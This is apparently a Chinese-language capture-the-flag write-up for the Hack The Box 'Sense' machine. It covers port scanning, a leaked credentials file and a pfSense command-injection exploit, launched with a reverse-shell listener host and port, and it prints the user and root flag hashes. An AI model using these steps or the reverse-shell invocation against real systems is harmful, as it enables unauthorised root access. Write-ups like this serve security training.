信息收集
| IP Address | Opening Ports |
|---|---|
| 10.10.10.60 | TCP:80,443 |
$ nmap -p- 10.10.10.60 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
HTTPS
https://10.10.10.60/
![[Meachines] [Easy] Sense PFSense防火墙RCE插图](https://img.4awl.net/img/0d/8da0132cb741ceb69c051065b46d52.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图")
$ gobuster dir -u "https://10.10.10.60/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50 -k
$ curl "https://10.10.10.60/system-users.txt" -k
![[Meachines] [Easy] Sense PFSense防火墙RCE插图1](https://img.4awl.net/img/ac/b52e4000fa3c640d7896f390dc46b4.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图1")
username:rohit password:pfsense
![[Meachines] [Easy] Sense PFSense防火墙RCE插图2](https://img.4awl.net/img/47/51237bd06ec281dc4293503bfddb5f.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图2")
PFSense防火墙-RCE
![[Meachines] [Easy] Sense PFSense防火墙RCE插图3](https://img.4awl.net/img/01/735a8d67bba7366b0b4e7dfe3abcc2.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图3")
$ searchsploit -w PFSense 2.1.3
![[Meachines] [Easy] Sense PFSense防火墙RCE插图4](https://img.4awl.net/img/3e/bdf17f218ad63bda2fc388e2fef1ad.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图4")
pfSense的status_rrd_graph_img.php页面在处理graph参数时存在命令注入漏洞。尽管对graph参数进行了正则表达式过滤，但管道字符（|）未被移除。通过使用八进制编码，可以绕过非法字符的过滤，注入并执行任意操作系统命令。
$ python3 exp.py --rhost 10.10.10.60 --lhost 10.10.16.14 --lport 10032 --username rohit --password pfsense
![[Meachines] [Easy] Sense PFSense防火墙RCE插图5](https://img.4awl.net/img/fe/637a0c56567c4776d61f075589201e.jpg "[Meachines] [Easy] Sense PFSense防火墙RCE插图5")
User.txt
8721327cc232073b40d27d9c17e7348b
Root.txt
d08c32a5d4f8c8b10e76eb51a69f1a86
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
